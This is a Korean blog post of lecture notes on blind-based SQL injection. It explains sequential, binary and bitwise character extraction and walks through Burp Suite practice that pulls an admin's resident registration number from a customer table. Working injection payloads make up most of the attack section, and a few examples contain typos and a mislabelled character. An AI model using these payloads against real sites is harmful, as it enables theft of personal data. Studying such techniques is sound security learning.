티스토리 뷰

강의듣다가 급하게 정리한 내용임. 이후 변경 예정

 

SQL Injection/데이터 조회 공격/Blind Based

 

blind based : 다른 애들 (error based, union based)에 비해 전제 조건 거의 없음
 -> error based는 DBMS의 에러가 직접 찍혀야 함
 -> union based는 query문의 영향을 많이 받음. 그리고 뒤에 위치해야 함(terminating 이 필요하므로)
 -> 응답을 통해 데이터를 추론한다
 -> 보통은 요청에 대해 True, False인지만 파악할 수 있으므로, 이걸 기반으로 추론. 즉 아주 많은 T/F로 값 재구성한다고 생각하면 됨
 -> 순차 탐색, 이진 탐색, 비트 단위 탐색 을 SQL Injection 과 연결해서 사용


SQL Injection이 통하는 상황이라고 할 때,
 원래 쿼리문이 다음과 같다고 하자.
 select id from members where id='()';
 그렇다면 공격문은 test' and '[]' 이렇게 들어갈 것이다

# 순차탐색

 순차탐색에서 [] 에 들어갈 내용은 다음과 같다.
 substring([대상 쿼리], N, 1) = 'a'; => 대상쿼리의 N번째 자리가 어떤 알파벳인지 확인가능
 e.g) substring(system_user(), 1,1)='r' => system_user()가 root@localhost 인 경우 True
 
 근데 이렇게 해서 5자리의 문자열에 대해 알아낸다고 가정해보면, 26 * 5 = 130번 노가다 해야 한다.

 이때 이진탐색을 쓰면 된다.

# 이진 탐색
 이진탐색은 크기 비교를 해서 반으로 쪼개나가는 형식인데, 비교를 어케하냐면 아스키 값으로 한다.
 알파벳을 하나씩 비교하던 것을 아스키 값으로 대체
 
 32~126 사이의 아스키 값으로다가

 ascii(substring([대상 쿼리], N,1)) < 특정 아스키 값

 e.g) system_user() = root@localhost 라고 할 때

 select ascii(substring(system_user(),1,1)) < 79 [O] : F
 select ascii(substring(system_user(),1,1)) = 79 [O] : F
 select ascii(substring(system_user(),1,1)) < 102 [f] : F
 select ascii(substring(system_user(),1,1)) = 102 [f] : F
 select ascii(substring(system_user(),1,1)) < 114 [r] : F
 select ascii(substring(system_user(),1,1)) < 114 [r] : T

 러프한 이진탐색이긴 하지만, 경험이 좀 쌓이면 요령있게 찍어볼수 있을듯

# 비트 탐색
 비트 AND 기반으로 쓱 돌려서 확인하기
 해당 자리가 비었는지 있는지 확인

 1byte: ??????? 에 대해 한 자리씩 AND 연산으로 있는지 체크 가능

 ascii(substring[대상 쿼리], N,1))&(자리값) = 자리값

e.g) substring(database(),1,1))=112 (1110000) 일때

 select ascii(substring(database(),1,1))&1=1 : F
 select ascii(substring(database(),1,1))&2=2 : F
 select ascii(substring(database(),1,1))&4=4 : F
 select ascii(substring(database(),1,1))&8=8 : F
 select ascii(substring(database(),1,1)&16=16 : T
 select ascii(substring(database(),1,1)&32=32 : T
 select ascii(substring(database(),1,1)&64=64 : T

 => 1110000 = 112 = r 
 
 이걸 N을 돌려가면서 하면 전부 확인가능 

아 그리고 연습할 때는 직접 sql 콘솔에서 했지만, 웹사이트에서 연습 할 때는 출력여부로 확인가능


# repeter에서 실습
쿼리에서 참일때 페이지와 거짓일때 페이지를 비교하다보면 참일 때만 뜨는 값이 있다. (보통은 날짜)
버프 스위트에서 값에 대해 search를 기본적으로 때려 놓고 response에서 값이 뜨는지 확인하면 결과적으로 쿼리 T,F 판별가능

찾으려는 query의 길이가 얼마인지 확인 -> length()

length(system_user()) = 14 일때, 
공격에서는 T,F만 알 수 있으니깐 length(system_user()) < (특정값) 등을 보내서 T,F 뜨는지 적당히 판별

중요정보를 확인하려면 메타 데이터 확인 즉, 칼럼과 테이블 정보를 확인이 필요하다. 이걸 blind-based로 하면 시간이 오래걸림
따라서, 테이블, 칼럼을 이미 확보했다고 가정하자.

length 는 string인 값들에 적용 가능. 그러니까 여러 레코드, 여러 칼럼에 대해서는 당연히 터짐
string 칼럼 하나를 지정해주고 레코드가 하나가 뜨게 해야함
이때 limit을 사용하면 됨
limit {index}, {num} : 레코드의 index부터 num개 출력
e.g) select length( (select id from members limit 0,1));
 => 레코드 하나의 한 칼럼. 즉 string 하나 나오므로 length 문제없이 돔.
 => members.id[0] 에 대한 length가 나온다고 생각하면 될듯

근데 이미 id를 알고 있고 그에 대해서 찾을거니깐 순차적으로 접근할 필요도 없이 그냥 where 때리면 됨
주민등록번호는 ??????-??????? = 14자리

순차탐색으로 때려보자
substring((select jumin from cutstomer_info where id='admin'),1,1)=8 : T
substring((select jumin from cutstomer_info where id='admin'),2,1)=1 : T
substring((select jumin from cutstomer_info where id='admin'),3,1)=0 : T
substring((select jumin from cutstomer_info where id='admin'),4,1)=2 : T 
substring((select jumin from cutstomer_info where id='admin'),5,1)=0 : T
substring((select jumin from cutstomer_info where id='admin'),6,1)=3 : T 

substring((select jumin from cutstomer_info where id='admin'),8,1)=1 : T 
substring((select jumin from cutstomer_info where id='admin'),9,1)=0 : T 
substring((select jumin from cutstomer_info where id='admin'),10,1)=2 : T 
substring((select jumin from cutstomer_info where id='admin'),11,1)=3 : T 
substring((select jumin from cutstomer_info where id='admin'),12,1)=1 : T 
substring((select jumin from cutstomer_info where id='admin'),13,1)=1: T
substring((select jumin from cutstomer_info where id='admin'),14,1)=3: T

이진탐색으로 해보자 : 첫 자리만
ascii(substring((select+jumin+from+customer_info+where+id='admin'),1,1))>ascii(4) : T 
ascii(substring((select+jumin+from+customer_info+where+id='admin'),1,1))=ascii(4) : F
ascii(substring((select+jumin+from+customer_info+where+id='admin'),1,1))>ascii(6) : T
ascii(substring((select+jumin+from+customer_info+where+id='admin'),1,1))=ascii(6) : F
ascii(substring((select+jumin+from+customer_info+where+id='admin'),1,1)>ascii(7) : T
ascii(substring((select+jumin+from+customer_info+where+id='admin'),1,1))=ascii(7) : F
ascii(substring((select+jumin+from+customer_info+where+id='admin'),1,1))>ascii(8) : F
ascii(substring((select+jumin+from+customer_info+where+id='admin'),1,1))=ascii(8) : T     

첫 자리 8

비트탐색으로 해보자 : 첫 자리만
???????
ascii(substring((select jumin from customer_info where id='admin'),1,1))&1=1 : F
ascii(substring((select jumin from customer_info where id='admin'),1,1))&2=2 : F
ascii(substring((select jumin from customer_info where id='admin'),1,1))&4=4 : F
ascii(substring((select jumin from customer_info where id='admin'),1,1))&8=8 : T
ascii(substring((select jumin from customer_info where id='admin'),1,1))&16=16 : T
ascii(substring((select jumin from customer_info where id='admin'),1,1))&32=32 : T
ascii(substring((select jumin from customer_info where id='admin'),1,1))&64=64 : F

0111000 = 8+16+32 = 56 : '8'

810203-1023113 인가보다! 

# 실습 완료

딱 보면 알겠지만 blind-injection은 시간이 엄청 오래 걸린다
그래서 보통 burp-suite로 직접 문자 몇개 뽑아보고 나중에 자동화 툴을 돌린다.
그리고 자동화 툴 자체도 뭐 정해진게 있는게 아님(burp suite intruder가 있긴 한데) 
python으로 직접 짜서 돌리는게 더 빠르고 트러블슈팅도 편함

'연습' 카테고리의 다른 글

내맘대로 정리한 XXE  (0) 2021.05.17
Prepared Statement  (0) 2021.05.14
내맘대로 정리한 데이터 조회 공격 : Union Based  (0) 2021.05.13
[Python] : tldextract를 사용한 도메인, 서브도메인 파싱  (0) 2021.05.07
docker logs  (0) 2021.05.06
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
글 보관함